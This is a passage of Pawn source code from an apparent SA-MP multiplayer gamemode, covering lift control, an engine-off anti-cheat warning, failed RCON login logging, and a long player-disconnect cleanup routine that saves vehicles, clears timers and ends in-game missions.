					   lift_status[0] = LIFT_STATUS_LOWERING;
					}
					else // It's down or lowering, raise it
					{
					   StopDynamicObject(lift_object_id[0]);
					   MoveDynamicObject(lift_object_id[0], lift_coords[0][0], lift_coords[0][1], lift_coords[0][2], lift_speed); // Raise it
					   lift_status[0] = LIFT_STATUS_RISING;
					}
				}
				case 0, 2: // Raise
				{
					print("Raising.");
				}
					case 1, 3: // Lower
					{
					   print("Lowering.");
					}
					default: printf("Invalid 'updown' value passed to ACC_Move_Lift.", updown);
			 }
	   }
	   else
	   {
			 switch(updown)
			 {
				case -1: // Move depending on current status
				{
					if(lift_status[1] == LIFT_STATUS_UP || lift_status[1] == LIFT_STATUS_RISING) // If it's rising or up
					{
					   StopDynamicObject(lift_object_id[1]);
					   MoveDynamicObject(lift_object_id[1], lift_coords[1][3], lift_coords[1][4], lift_coords[1][5], lift_speed); // Lower it
					   lift_status[1] = LIFT_STATUS_LOWERING;
					}
					else // It's down or lowering, raise it
					{
					   StopDynamicObject(lift_object_id[1]);
					   MoveDynamicObject(lift_object_id[1], lift_coords[1][0], lift_coords[1][1], lift_coords[1][2], lift_speed); // Raise it
					   lift_status[1] = LIFT_STATUS_RISING;
					}
				}
				case 0, 2: // Raise
				{
					StopDynamicObject(lift_object_id[1]);
						  MoveDynamicObject(lift_object_id[1], lift_coords[1][0], lift_coords[1][1], lift_coords[1][2], lift_speed); // Raise it
						  lift_status[1] = LIFT_STATUS_RISING;
				}
					case 1, 3: // Lower
					{
					   StopDynamicObject(lift_object_id[1]);
						  MoveDynamicObject(lift_object_id[1], lift_coords[1][3], lift_coords[1][4], lift_coords[1][5], lift_speed); // Lower it
						  lift_status[1] = LIFT_STATUS_LOWERING;
					}
					default: printf("Invalid 'updown' value passed to ACC_Move_Lift.", updown);
			 }
	   }
	   return 1;
}

stock ACC_GetLiftStatus(lift)
{
	   if(lift != 0 && lift != 1)
	   {
		  printf("Invalid lift ID passed to ACC_MoveLift (%i)", lift);
		  return -1;
	   }
	   return lift_status[lift];
}

public OnDynamicObjectMoved(objectid)
{
	   if(objectid == lift_object_id[0])
	   {
			 if(lift_status[0] == LIFT_STATUS_RISING) lift_status[0] = LIFT_STATUS_UP;
			 else  lift_status[0] = LIFT_STATUS_DOWN;
	   }
	   else if(objectid == lift_object_id[1])
	   {
			 if(lift_status[1] == LIFT_STATUS_RISING) lift_status[1] = LIFT_STATUS_UP;
			 else  lift_status[1] = LIFT_STATUS_DOWN;
	   }
}



public EngineBegir()
{
	for(new i; i < 100; i++)
	{
	    if(IsPlayerConnected(i))
	    {
	        if(IsPlayerInAnyVehicle(i) && GetPlayerState(i) == PLAYER_STATE_DRIVER)
			{
			    if(EngineSTATE[GetPlayerVehicleID(i)] == 0)
			    {
			        if(LastSpeedVeh[i] > GetVehicleSpeed( GetPlayerVehicleID(i) ) && GetVehicleSpeed( GetPlayerVehicleID(i) ) > 10 && TimeOffedEngine[i] == 0)
			        {
			        if(!InvalidClient[i])
			        {
			            new ping = GetPlayerPing(i);
						new Float:playerpackets = NetStats_PacketLossPercent(i);
			            new string[144];
			            new model = GetVehicleModel(GetPlayerVehicleID(i)) - 400;
						format(string, sizeof(string), "[Admin-Warn]:{ffffff} VehicleID: %d is moving when engine is off, driver: %s(%d)", GetPlayerVehicleID(i),PlayerInfo[i][pName],i,ping,playerpackets,GetVehicleSpeed( GetPlayerVehicleID(i)),aVehicleNames[model]);
						if(anticheat[i] != 0)
						{
		        		SendAdminMessage(COLOR_AdminWarn, string);
		        		}
			        }
			        }
			        LastSpeedVeh[i] = GetVehicleSpeed( GetPlayerVehicleID(i) );
			    }
			}
		 }
	}
	return 1;
}




public OnRconLoginAttempt(ip[], password[], success)
{
    if(!success)
    {
        new pip[16],name[25];
        for(new i = GetPlayerPoolSize(); i != -1; --i)
        {
                GetPlayerIp(i, pip, sizeof(pip));
                if(!strcmp(ip, pip, true))
                {
				GetPlayerName(i, name, sizeof(name));
                new moo[144];
	            format(moo,144,"{FFFFFF}Player %s(%d) tried to login with rcon password (Failed)",name,i);
	            AdminWarn(moo);
	            printf("%s(%d) with ip: %s | tried to login with rcon password. (Failed Try)",name,i,ip);
	            }
                return 1;
        }
    }
	return 1;
}

/*----------------------------------------------------------------------------*/
public OnPlayerDisconnect(playerid, reason)
{
if(FCNPC_IsValid(playerid)) return 1;
new CHSjw[30];
format(CHSjw, sizeof(CHSjw), "%s*", PINFO[playerid][pName]);
strcpy(PINFO[playerid][pName],CHSjw,sizeof(CHSjw));
ManMitoonamSkin[playerid] = 0;
if(ImFararing[playerid]==1)
{
PINFO[playerid][pJailTime]+=6000;
SaveKonVal(playerid, "pJailTime", PINFO[playerid][pJailTime]);
if(YekiFararKarde==1){StopPrisonAlarm();}
}
if(PINFO[playerid][pVip]!=0&&UFOSavar[playerid]!=0)
{
for(new i=0;i<GetVehiclePoolSize();i++)
{
if(UFOOwnerID[i]==playerid){DestroyVehicle(i);DestroyObject(ShipObject[i]);ShipObject[i]=INVALID_OBJECT_ID;UFOSavar[playerid]=0;UFOOwnerID[i]=9999;break;}
}
}
if(ManHostageAm[playerid]!=9999)
{
new taraf = ManHostageAm[playerid], cht[144];
GivePlayerPool(playerid, -10000);
GivePlayerPool(taraf, 10000);
format(cht, sizeof(cht), "Your hostage %s has left the game so you got $%s from %s", RPName(playerid), FormatNumber(10000), (PINFO[playerid][pSex]==1)?("him"):("her"));
SCM(taraf, COLOR_LIGHTRED, cht);
ManHostageDaram[taraf]=9999;
}
if(ManHostageDaram[playerid]!=9999)
{
new taraf = ManHostageDaram[playerid], cht[144];
format(cht, sizeof(cht), "%s who took you as a hostage left the game, so you are free.", RPName(playerid));
SCM(taraf, COLOR_LIGHTRED, cht);
ManHostageAm[taraf]=9999;HostageTime[taraf]=0;
TogglePlayerControllable(taraf, 1);
}
if(PINFO[playerid][pAdmin] >= 5 || PINFO[playerid][pSponser] != 0)
{
for(new i = akharinvehicle;i < MAX_VEHICLES;i++) {
if(VehOwned[i] == 2 && VehOwner[i] == playerid) {
VehicleTurbo[i] = 0;
vJump[i] = 0;
if(VehLinkDare[i] == 1)
{
VehLinkDare[i] = 0;
VehLink[i][0] = '\0';
}
VehOwned[i] = 0;
VehOwner[i] = 9999;
DestroyVehicle(i);
}
}
}
ImEnteredGame[playerid]=0;
if(ImBG[playerid]!=INVALID_PLAYER_ID){myBG[ImBG[playerid]]=INVALID_PLAYER_ID;SCM(ImBG[playerid], COLOR_LIGHTBLUE, "Your bodyguard left the game.");}
if(myBG[playerid]!=INVALID_PLAYER_ID){ImBG[myBG[playerid]]=INVALID_PLAYER_ID;SCM(myBG[playerid], COLOR_LIGHTBLUE, "Who you were protecting them left the game.");}

NaroJelo[playerid]=0;
ChiPayMikone[playerid]=0;
ShouldGoldPay[playerid]=0;
ShouldMoneyPay[playerid]=0;
if(playerid==SVEventHamkar){SVEventHamkar=9999;}
if(playerid==SVEventOrganizer){StopEvent(9999, "Event Organizer left the game", true);}
/*
if(PINFO[playerid][pAdmin] >= 5 || PINFO[playerid][pSponser] != 0) {
Usable[playerid] = 1;
OnPlayerCommandText(playerid, "/deletemycarsz");
}
*/

	if(PlayerInfo[playerid][pCar_1] != 0)
	{
	   if(KeyDade[playerid] != 9999)
	   {
		  IHaveKey[KeyDade[playerid]] = 0;
	   }
	   new vehicleid = PINFO[playerid][pCar_1];
		new veh = PINFO[playerid][pVeh1];
	   new panelss,doorss,lightse,tiress;
	   GetVehicleDamageStatus(vehicleid,panelss,doorss,lightse,tiress);
	   vInfo[veh][cPanel] = panelss;
	   SaveKonValV(veh, "cPanel", panelss);
	   vInfo[veh][cDoors] = doorss;
	   SaveKonValV(veh, "cDoors", doorss);
	   vInfo[veh][cLights] = lightse;
	   SaveKonValV(veh, "cLights", lightse);
	   vInfo[veh][cTires] = tiress;
	   SaveKonValV(veh, "cTires", tiress);
	   new Float:health;
	   GetVehicleHealth(vehicleid,health);
	   vInfo[veh][cHealth] = health;
	   SaveKonFloatV(veh, "cHealth", health);
	   vInfo[veh][cFuel] = Benzin[vehicleid];
	   SaveKonValV(veh, "cFuel", Benzin[vehicleid]);
	   MashinOwner[vehicleid] = 9999;
	   GetVehicleParamsEx(vehicleid,engine,lights,alarm,doors,bonnet,boot,objective);
	   SetVehicleParamsEx(vehicleid,VEHICLE_PARAMS_OFF,lights,alarm,doors,bonnet,boot,objective);
	   EngineSTATE[vehicleid] = 0;
	   LightsSTATE[vehicleid] = 0;
	   bonnetSTATE[vehicleid] = 0;
	   bootSTATE[vehicleid] = 0;
	   DestroyVehicle(vehicleid, true);
	   OwnedMashin[vehicleid] = 0;
	   if(vInfo[PINFO[playerid][pVeh1]][cNeon] != 0)
	   {
	   VehicleNeon[vehicleid] = 0;
	   for(new i = 0; i < 24; i++)
	   {
		DestroyObject(CarNeons[vehicleid][i]);
	   }
	   }
	}
	if(PlayerInfo[playerid][pCar_2] != 0)
	{
	   if(KeyDade_2[playerid] != 9999)
	   {
		  IHaveKey_2[KeyDade_2[playerid]] = 0;
	   }
	   new vehicleid = PINFO[playerid][pCar_2];
		new veh = PINFO[playerid][pVeh2];
	   new panelss,doorss,lightse,tiress;
	   GetVehicleDamageStatus(vehicleid,panelss,doorss,lightse,tiress);
	   vInfo[veh][cPanel] = panelss;
	   SaveKonValV(veh, "cPanel", panelss);
	   vInfo[veh][cDoors] = doorss;
	   SaveKonValV(veh, "cDoors", doorss);
	   vInfo[veh][cLights] = lightse;
	   SaveKonValV(veh, "cLights", lightse);
	   vInfo[veh][cTires] = tiress;
	   SaveKonValV(veh, "cTires", tiress);
	   new Float:health;
	   GetVehicleHealth(vehicleid,health);
	   vInfo[veh][cHealth] = health;
	   SaveKonFloatV(veh, "cHealth", health);
	   vInfo[veh][cFuel] = Benzin[vehicleid];
	   SaveKonValV(veh, "cFuel", Benzin[vehicleid]);
	   MashinOwner[vehicleid] = 9999;
	   GetVehicleParamsEx(vehicleid,engine,lights,alarm,doors,bonnet,boot,objective);
	   SetVehicleParamsEx(vehicleid,VEHICLE_PARAMS_OFF,lights,alarm,doors,bonnet,boot,objective);
	   EngineSTATE[vehicleid] = 0;
	   LightsSTATE[vehicleid] = 0;
	   bonnetSTATE[vehicleid] = 0;
	   bootSTATE[vehicleid] = 0;
	   DestroyVehicle(vehicleid, true);
	   OwnedMashin[vehicleid] = 0;
	   if(vInfo[PINFO[playerid][pVeh2]][cNeon] != 0)
	   {
	   VehicleNeon[vehicleid] = 0;
	   for(new i = 0; i < 24; i++)
	   {
		DestroyObject(CarNeons[vehicleid][i]);
	   }
	   }
	}
	if(PlayerInfo[playerid][pCar_3] != 0)
	{
	   if(KeyDade_3[playerid] != 9999)
	   {
		  IHaveKey_3[KeyDade_3[playerid]] = 0;
	   }
	   new vehicleid = PINFO[playerid][pCar_3];
		new veh = PINFO[playerid][pVeh3];
	   new panelss,doorss,lightse,tiress;
	   GetVehicleDamageStatus(vehicleid,panelss,doorss,lightse,tiress);
	   vInfo[veh][cPanel] = panelss;
	   SaveKonValV(veh, "cPanel", panelss);
	   vInfo[veh][cDoors] = doorss;
	   SaveKonValV(veh, "cDoors", doorss);
	   vInfo[veh][cLights] = lightse;
	   SaveKonValV(veh, "cLights", lightse);
	   vInfo[veh][cTires] = tiress;
	   SaveKonValV(veh, "cTires", tiress);
	   new Float:health;
	   GetVehicleHealth(vehicleid,health);
	   vInfo[veh][cHealth] = health;
	   SaveKonFloatV(veh, "cHealth", health);
	   vInfo[veh][cFuel] = Benzin[vehicleid];
	   SaveKonValV(veh, "cFuel", Benzin[vehicleid]);
	   MashinOwner[vehicleid] = 9999;
	   GetVehicleParamsEx(vehicleid,engine,lights,alarm,doors,bonnet,boot,objective);
	   SetVehicleParamsEx(vehicleid,VEHICLE_PARAMS_OFF,lights,alarm,doors,bonnet,boot,objective);
	   EngineSTATE[vehicleid] = 0;
	   LightsSTATE[vehicleid] = 0;
	   bonnetSTATE[vehicleid] = 0;
	   bootSTATE[vehicleid] = 0;
	   DestroyVehicle(vehicleid, true);
	   OwnedMashin[vehicleid] = 0;
	   if(vInfo[PINFO[playerid][pVeh3]][cNeon] != 0)
	   {
	   VehicleNeon[vehicleid] = 0;
	   for(new i = 0; i < 24; i++)
	   {
		DestroyObject(CarNeons[vehicleid][i]);
	   }
	   }
	}
	if(PlayerInfo[playerid][pCar_4] != 0)
	{
	   if(KeyDade_4[playerid] != 9999)
	   {
		  IHaveKey_4[KeyDade_4[playerid]] = 0;
	   }
	   new vehicleid = PINFO[playerid][pCar_4];
		new veh = PINFO[playerid][pVeh4];
	   new panelss,doorss,lightse,tiress;
	   GetVehicleDamageStatus(vehicleid,panelss,doorss,lightse,tiress);
	   vInfo[veh][cPanel] = panelss;
	   SaveKonValV(veh, "cPanel", panelss);
	   vInfo[veh][cDoors] = doorss;
	   SaveKonValV(veh, "cDoors", doorss);
	   vInfo[veh][cLights] = lightse;
	   SaveKonValV(veh, "cLights", lightse);
	   vInfo[veh][cTires] = tiress;
	   SaveKonValV(veh, "cTires", tiress);
	   new Float:health;
	   GetVehicleHealth(vehicleid,health);
	   vInfo[veh][cHealth] = health;
	   SaveKonFloatV(veh, "cHealth", health);
	   vInfo[veh][cFuel] = Benzin[vehicleid];
	   SaveKonValV(veh, "cFuel", Benzin[vehicleid]);
	   MashinOwner[vehicleid] = 9999;
	   GetVehicleParamsEx(vehicleid,engine,lights,alarm,doors,bonnet,boot,objective);
	   SetVehicleParamsEx(vehicleid,VEHICLE_PARAMS_OFF,lights,alarm,doors,bonnet,boot,objective);
	   EngineSTATE[vehicleid] = 0;
	   LightsSTATE[vehicleid] = 0;
	   bonnetSTATE[vehicleid] = 0;
	   bootSTATE[vehicleid] = 0;
	   DestroyVehicle(vehicleid, true);
	   OwnedMashin[vehicleid] = 0;
	   if(vInfo[PINFO[playerid][pVeh4]][cNeon] != 0)
	   {
	   VehicleNeon[vehicleid] = 0;
	   for(new i = 0; i < 24; i++)
	   {
		DestroyObject(CarNeons[vehicleid][i]);
	   }
	   }
	}
	if(PlayerInfo[playerid][pCar_5] != 0)
	{
	   if(KeyDade_5[playerid] != 9999)
	   {
		  IHaveKey_5[KeyDade_5[playerid]] = 0;
	   }
	   new vehicleid = PINFO[playerid][pCar_5];
		new veh = PINFO[playerid][pVeh5];
	   new panelss,doorss,lightse,tiress;
	   GetVehicleDamageStatus(vehicleid,panelss,doorss,lightse,tiress);
	   vInfo[veh][cPanel] = panelss;
	   SaveKonValV(veh, "cPanel", panelss);
	   vInfo[veh][cDoors] = doorss;
	   SaveKonValV(veh, "cDoors", doorss);
	   vInfo[veh][cLights] = lightse;
	   SaveKonValV(veh, "cLights", lightse);
	   vInfo[veh][cTires] = tiress;
	   SaveKonValV(veh, "cTires", tiress);
	   new Float:health;
	   GetVehicleHealth(vehicleid,health);
	   vInfo[veh][cHealth] = health;
	   SaveKonFloatV(veh, "cHealth", health);
	   vInfo[veh][cFuel] = Benzin[vehicleid];
	   SaveKonValV(veh, "cFuel", Benzin[vehicleid]);
	   MashinOwner[vehicleid] = 9999;
	   GetVehicleParamsEx(vehicleid,engine,lights,alarm,doors,bonnet,boot,objective);
	   SetVehicleParamsEx(vehicleid,VEHICLE_PARAMS_OFF,lights,alarm,doors,bonnet,boot,objective);
	   EngineSTATE[vehicleid] = 0;
	   LightsSTATE[vehicleid] = 0;
	   bonnetSTATE[vehicleid] = 0;
	   bootSTATE[vehicleid] = 0;
	   DestroyVehicle(vehicleid, true);
	   OwnedMashin[vehicleid] = 0;
	   if(vInfo[PINFO[playerid][pVeh5]][cNeon] != 0)
	   {
	   VehicleNeon[vehicleid] = 0;
	   for(new i = 0; i < 24; i++)
	   {
		DestroyObject(CarNeons[vehicleid][i]);
	   }
	   }
	}
	if(PlayerInfo[playerid][pCar_6] != 0)
	{
	   if(KeyDade_6[playerid] != 9999)
	   {
		  IHaveKey_6[KeyDade_6[playerid]] = 0;
	   }
	   new vehicleid = PINFO[playerid][pCar_6];
		new veh = PINFO[playerid][pVeh6];
	   new panelss,doorss,lightse,tiress;
	   GetVehicleDamageStatus(vehicleid,panelss,doorss,lightse,tiress);
	   vInfo[veh][cPanel] = panelss;
	   SaveKonValV(veh, "cPanel", panelss);
	   vInfo[veh][cDoors] = doorss;
	   SaveKonValV(veh, "cDoors", doorss);
	   vInfo[veh][cLights] = lightse;
	   SaveKonValV(veh, "cLights", lightse);
	   vInfo[veh][cTires] = tiress;
	   SaveKonValV(veh, "cTires", tiress);
	   new Float:health;
	   GetVehicleHealth(vehicleid,health);
	   vInfo[veh][cHealth] = health;
	   SaveKonFloatV(veh, "cHealth", health);
	   vInfo[veh][cFuel] = Benzin[vehicleid];
	   SaveKonValV(veh, "cFuel", Benzin[vehicleid]);
	   MashinOwner[vehicleid] = 9999;
	   GetVehicleParamsEx(vehicleid,engine,lights,alarm,doors,bonnet,boot,objective);
	   SetVehicleParamsEx(vehicleid,VEHICLE_PARAMS_OFF,lights,alarm,doors,bonnet,boot,objective);
	   EngineSTATE[vehicleid] = 0;
	   LightsSTATE[vehicleid] = 0;
	   bonnetSTATE[vehicleid] = 0;
	   bootSTATE[vehicleid] = 0;
	   DestroyVehicle(vehicleid, true);
	   OwnedMashin[vehicleid] = 0;
	   if(vInfo[PINFO[playerid][pVeh6]][cNeon] != 0)
	   {
	   VehicleNeon[vehicleid] = 0;
	   for(new i = 0; i < 24; i++)
	   {
		DestroyObject(CarNeons[vehicleid][i]);
	   }
	   }
	}
if(SnowObject[playerid]!=0)
{
DestroyDynamicObject(SnowObject[playerid]);
SnowObject[playerid]=0;
}
if ( 0 <= playerid < MAX_PLAYERS ) {
p_DamageSpamCount{ playerid } = 0;
}
    ResetPlayerToys(playerid);
    Streamer_ToggleIdleUpdate(playerid, 0);
	if(NOPMin[playerid]!=0)KillTimer(NOPMin[playerid]);
	if(FararTime[playerid]!=0)KillTimer(FararTime[playerid]);
	if(FararTimeEx[playerid]!=0)KillTimer(FararTimeEx[playerid]);
	if(ShouldTel[playerid]!=0)KillTimer(ShouldTel[playerid]);
	if(ImInArea[playerid]!=0)KillTimer(ImInArea[playerid]);
	if(BankIdleTimer[playerid]!=0)KillTimer(BankIdleTimer[playerid]);
	if(FreezeTimerX[playerid]!=0)KillTimer(FreezeTimerX[playerid]);
	if(KickMikonamPlayerX[playerid]!=0)KillTimer(KickMikonamPlayerX[playerid]);
	KillTimer(ZeroTimer[playerid]);
	KillTimer(AIBTimer[playerid]);
	if(OilExport[playerid]!=0)KillTimer(OilExport[playerid]);
	if(MightyM4Timer[playerid]!=0)KillTimer(MightyM4Timer[playerid]);
	if(MightyDeagleTimer[playerid]!=0)KillTimer(MightyDeagleTimer[playerid]);
	if(MightyMP5Timer[playerid]!=0)KillTimer(MightyMP5Timer[playerid]);
	if(DeadlyM4Timer[playerid]!=0)KillTimer(DeadlyM4Timer[playerid]);
	if(DeadlyDeagleTimer[playerid]!=0)KillTimer(DeadlyDeagleTimer[playerid]);
	if(DeadlyMP5Timer[playerid]!=0)KillTimer(DeadlyMP5Timer[playerid]);
	if(LessDamagedTimer[playerid]!=0)KillTimer(LessDamagedTimer[playerid]);
	if(ExtraDamage1Timer[playerid]!=0)KillTimer(ExtraDamage1Timer[playerid]);
	if(ExtraDamage2Timer[playerid]!=0)KillTimer(ExtraDamage2Timer[playerid]);
	if(ExtraDamage3Timer[playerid]!=0)KillTimer(ExtraDamage3Timer[playerid]);
	if(LuckyTimeTimer[playerid]!=0)KillTimer(LuckyTimeTimer[playerid]);
	if(BOXTIMEKILLER[playerid]!=0)KillTimer(BOXTIMEKILLER[playerid]);
	if(AntiPichPichi[playerid]!=0)KillTimer(AntiPichPichi[playerid]);
	if(DozdidanTimer[playerid]!=0)KillTimer(DozdidanTimer[playerid]);
	if(DozdidamTimer[playerid]!=0)KillTimer(DozdidamTimer[playerid]);
	KillTimer(LoggTIME[playerid]);
	KillTimer(LoggTIME2[playerid]);
	KillTimer(CheckKonBN[playerid]);
	KillTimer(LoggTIME3[playerid]);
	KillTimer(CheckMeh[playerid]);
	if(ConvTime[playerid]!=0)KillTimer(ConvTime[playerid]);
	if(SickTime[playerid]!=0)KillTimer(SickTime[playerid]);
	if(Wuroz[playerid]!=0)KillTimer(Wuroz[playerid]);
	if(UiOTimer[playerid]!=0)KillTimer(UiOTimer[playerid]);
	if(DonerZ[playerid]!=0)KillTimer(DonerZ[playerid]);
	if(DonerZ2[playerid]!=0)KillTimer(DonerZ2[playerid]);
	if(RTimer[playerid]!=0)KillTimer(RTimer[playerid]);
	if(TIMer[playerid]!=0)KillTimer(TIMer[playerid]);
	if(SRTimer[playerid]!=0)KillTimer(SRTimer[playerid]);
	if(PINCoolDown[playerid]!=0)KillTimer(PINCoolDown[playerid]);
	if(KickLogin[playerid]!=0)KillTimer(KickLogin[playerid]);
	if(GPSTimer[playerid]!=0)KillTimer(GPSTimer[playerid]);
	if(DesyncBegin[playerid]!=0)KillTimer(DesyncBegin[playerid]);
	if(DeSyncCool[playerid]!=0)KillTimer(DeSyncCool[playerid]);
	if(FlyCheatTimer[playerid]!=0)KillTimer(FlyCheatTimer[playerid]);
	if(FlyCheatTimer2[playerid]!=0)KillTimer(FlyCheatTimer2[playerid]);
	//KillTimer(MySpamsTimer[playerid]);
	KillTimer(MinerCoins[playerid]);
	if(ForceEnd[playerid]!=0)KillTimer(ForceEnd[playerid]);
	if(ForceEndCop[playerid]!=0)KillTimer(ForceEndCop[playerid]);
	if(WireConnect[playerid]!=0)KillTimer(WireConnect[playerid]);
	if(HackedGatesTimer[playerid]!=0)KillTimer(HackedGatesTimer[playerid]);
	if(FindCheckHack[playerid]!=0)KillTimer(FindCheckHack[playerid]);
	if(TimerToHackGates[playerid]!=0)KillTimer(TimerToHackGates[playerid]);
	if(FindHackerTimer[playerid]!=0)KillTimer(FindHackerTimer[playerid]);
	if(GateHackDelay[playerid]!=0)KillTimer(GateHackDelay[playerid]);
	KillTimer(ArTimerZ[playerid]);
	KillTimer(HPTimerZ[playerid]);
	ImAddingNew[playerid] = 0;
	KillTimer(GetThisFac[playerid]);
	KillTimer(GetThisFacZZ[playerid]);
	if(sGunner1 == playerid || sGunner2 == playerid || sRunner == playerid || sHacker == playerid)
	{
	new svsvs[80];
	if(ReadyPlayers <= 3)
	{
	format(svsvs, sizeof(svsvs), " %s(%i) has left the game.", RPName(playerid), playerid);
	SendRobMessage(COLOR_ROB, svsvs);
	SendRobMessage(COLOR_ROB, "Rob mission failed.");
	StopRob();
	}
	if(ReadyPlayers == 4)
	{
	if(sGunner1 == playerid)
	{
	if(playerid == NewRobLeader)NewRobLeader=9999;
	sGunner1=9999;
	ReadyPlayers--;
	KiRafteAzRob=1;
	format(svsvs, sizeof(svsvs), " %s(%i) has left the game.", RPName(playerid), playerid);
	SendRobMessage(COLOR_ROB, svsvs);
	SendRobMessage(COLOR_ROB, "If one more teammates leave the game, the mission will be failed.");
	}
	else if(sGunner2 == playerid)
	{
	if(playerid == NewRobLeader)NewRobLeader=9999;
	sGunner2=9999;
	ReadyPlayers--;
	KiRafteAzRob=2;
	format(svsvs, sizeof(svsvs), " %s(%i) has left the game.", RPName(playerid), playerid);
	SendRobMessage(COLOR_ROB, svsvs);
	SendRobMessage(COLOR_ROB, "If one more teammates leave the game, the mission will be failed.");
	}
	else
	{
	format(svsvs, sizeof(svsvs), " %s(%i) has left the game.", RPName(playerid), playerid);
	SendRobMessage(COLOR_ROB, svsvs);
	SendRobMessage(COLOR_ROB, "Rob mission failed.");
	StopRob();
	}
	}
	}
 if(BankWhere(playerid)==11) BankLS1 = 0;
 if(BankWhere(playerid)==12) BankLS2 = 0;
 if(BankWhere(playerid)==13) BankLS3 = 0;
 if(BankWhere(playerid)==14) BankLS4 = 0;
 if(BankWhere(playerid)==21) BankLV1 = 0;
 if(BankWhere(playerid)==22) BankLV2 = 0;
 if(BankWhere(playerid)==23) BankLV3 = 0;
 if(BankWhere(playerid)==24) BankLV4 = 0;
 if(BankWhere(playerid)==31) BankSF1 = 0;
 if(BankWhere(playerid)==32) BankSF2 = 0;
 if(BankWhere(playerid)==33) BankSF3 = 0;
 if(BankWhere(playerid)==34) BankSF4 = 0;
	if(WhoIsMissioner[playerid] == 1)
	{
OnDrugMission = 0;
if(SearchForBuyerTimer[playerid]!=0)KillTimer(SearchForBuyerTimer[playerid]);
if(DrugGrowTimer[playerid]!=0){KillTimer(DrugGrowTimer[playerid]);DrugGrowTimer[playerid]=0;}
if(DontBeLate[playerid]!=0){KillTimer(DontBeLate[playerid]);DontBeLate[playerid]=0;}
WhichSelected[playerid] = 0;
MyBuyer[playerid] = "NULL";
WhoIsMissioner[playerid] = 0;
AllowToPickupDrug[playerid] = 0;
GramsIllicit[playerid] = 0;
OnCheckpoint[playerid] = 0;
CP[playerid] = 0;
DisablePlayerCheckpoint(playerid);
if(DontArriveSoon[playerid]!=0){KillTimer(DontArriveSoon[playerid]);DontArriveSoon[playerid]=0;}
HamleDrugs[playerid] = 0;
DestroyActor(DrugActor);
DestroyDynamic3DTextLabel(DrugActorName);
if(SohbatDrug3[playerid]!=0){KillTimer(SohbatDrug3[playerid]);SohbatDrug3[playerid]=0;}
if(SohbatDrug2[playerid]!=0){KillTimer(SohbatDrug2[playerid]);SohbatDrug2[playerid]=0;}
if(SohbatDrug1[playerid]!=0){KillTimer(SohbatDrug1[playerid]);SohbatDrug1[playerid]=0;}
if(SohbatDrug4[playerid]!=0){KillTimer(SohbatDrug4[playerid]);SohbatDrug4[playerid]=0;}
AllowToPickupDrug[playerid] = 0;
	}
	if(IHaveKey[playerid] != 0)
	{
	   KeyDade[MashinOwner[IHaveKey[playerid]]] = 9999;
	}
	   //PlayerTextDrawDestroy(playerid, RangerPing[playerid]);
	   //RangerPing[playerid] = PlayerText:INVALID_TEXT_DRAW;
	   ASAR[playerid] = 0;
		HSAR[playerid] = 0;
		//ReportMide[playerid] = 0;
		//HelpmeMide[playerid] = 0;
	new sendername[MAX_PLAYER_NAME];
	new string[128];
	GetPlayerName(playerid, sendername, sizeof(sendername));
	switch(reason)
	{
		case 0: format(string, sizeof string, "%s has left the game (crashed/timedout)", sendername);
	   case 1: format(string, sizeof string, "%s has left the game (/q)", sendername);
	   case 2: format(string, sizeof string, "%s has left the game (kicked/banned)", sendername);
	}
	if(Specing[playerid] >= 1) {}
	else if(PINFO[playerid][pRelog] == 0 && NabayadElamShe[playerid] == 0) {
	ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
	SendAdminMessage3(0xBFC0C2FF, string);
	}
    NabayadElamShe[playerid]=0;

	new query[500];
	mysql_format(handle, query, 500, "UPDATE `users` SET pLau='0' WHERE pName='%e'",PINFO[playerid][pName]);
	mysql_tquery(handle, query, "SendQuery", "");
	PlayerInfo[playerid][pRelog] = 0;
	SaveKonVal(playerid, "pRelog", 0);
		if(BBoxDare[playerid] == 1)
		{
		for(new i = 0;i<Akharish;i++) {
		StopAudioStreamForPlayer(i);
		DestroyObject(BoomBoxObject[playerid]);
		}
		}

  if(activetime[playerid])KillTimer(activetime[playerid]);
  KillTimer(SinaManam[playerid]);
  KillTimer(RelogPlayerDovvom[playerid]);
  KillTimer(RelogPlayerAvval[playerid]);
KillTimer(RelogPlayerSevvom[playerid]);
KillTimer(RelogPlayerCharom[playerid]);
KillTimer(RelogPlayerfCheat[playerid]);
	if(OnMashinKharidan[playerid] == 1) {
	DestroyVehicle(vhid[playerid]);
	CancelSelectTextDraw(playerid);
	SetCameraBehindPlayer(playerid);
	OnMashinKharidan[playerid] = 0;
	}
	DestroyVehicle(vhid[playerid]);
	mysql_format(handle, query, 500, "UPDATE `friends` SET pOnline='0' WHERE pFriend='%e'",PINFO[playerid][pName]);
	mysql_tquery(handle, query, "SendQuery", "");
	if(isRelogging[playerid] == true)
	{
//	   new string[30];
	   isRelogging[playerid] = false;
	   format(string, sizeof(string), "unbanip %s", relogPlayerIP[playerid]);
		SCM(playerid, COLOR_RED, string);
	   SendRconCommand(string);
	}
	KillTimer(SweepT[playerid]);
	PlayerInfo[playerid][pOnline] = 0;
	SaveKonVal(playerid, "pOnline", 0);

	/*
	if(Specer[playerid] != 9999) {
	SpecOnt[Specer[playerid]] = 9999;
	}
	*/
	Specer[playerid] = 9999;
	SpecOnt[playerid] = 9999;



	for(new i = 0;i < MAX_VEHICLES;i++) {
	if(VehOwned[i] == 2 && VehOwner[i] == playerid) {
	VehOwner[i] = 9999;
	VehOwned[i] = 2;
	}
	}
	if(OnBallon[playerid] == 1) {KillTimer(Bl1);SetTimer("B11T",1000,0);}
	if(OnBallon[playerid] == 2) {KillTimer(Bl2);SetTimer("B22T",1000,0);}


	RemovePlayerAttachedObject(playerid, 7);
	GetPlayerTag(playerid);
	//HavingBall[playerid] = 0;
	Anim[playerid] = 0;
	//if(HavingBall[playerid]) Baller = 999;
	new name[25];
	GetPlayerName(playerid, name, sizeof(name));

	if(InBasket[playerid] == 1) {
	BasketPlayers -= 1;

	for(new i = 0;i < Akharish;i++) {
	if(InBasket[i] == 1) {
//	new string[512];
	format(string, sizeof(string), "%s was in BasketBall has left the server", name);
	SCM(i, COLOR_LIGHTRED, string);
	}
	}
	}
	SaveKonFloat(playerid, "pPayCheck", PINFO[playerid][pPayCheck]);
	SaveKonVal(playerid, "pCarTime", PINFO[playerid][pCarTime]);
	CountDeaths[ playerid ] = 0, StartDeathTick[ playerid ] = 0;

//	WhoKill[playerid] = 0;

	PlayDeathingCameraE[playerid] = false;
	HelpmeText[playerid][0] = '\0';
	ReportText[playerid][0] = '\0';
	Reported[playerid] = INVALID_PLAYER_ID;
